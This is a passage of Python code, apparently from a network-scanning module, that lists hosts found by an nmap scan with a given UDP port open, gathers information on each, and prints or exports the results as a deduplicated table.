        for host in nm.all_hosts():
            if nm[host]['udp'][self.port]['state'] == "open":
                print_success("Host: %s, port:%s is open" % (host, self.port))
                self.get_target_info(host=host, port=self.port)
        unique_device = [list(x) for x in set(tuple(x) for x in self.result)]
        print_table(TABLE_HEADER, *unique_device)

    def command_export(self, file_path, *args, **kwargs):
        unique_device = [list(x) for x in set(tuple(x) for x in self.result)]
        unique_device = sorted(unique_device)
        export_table(file_path, TABLE_HEADER, unique_device)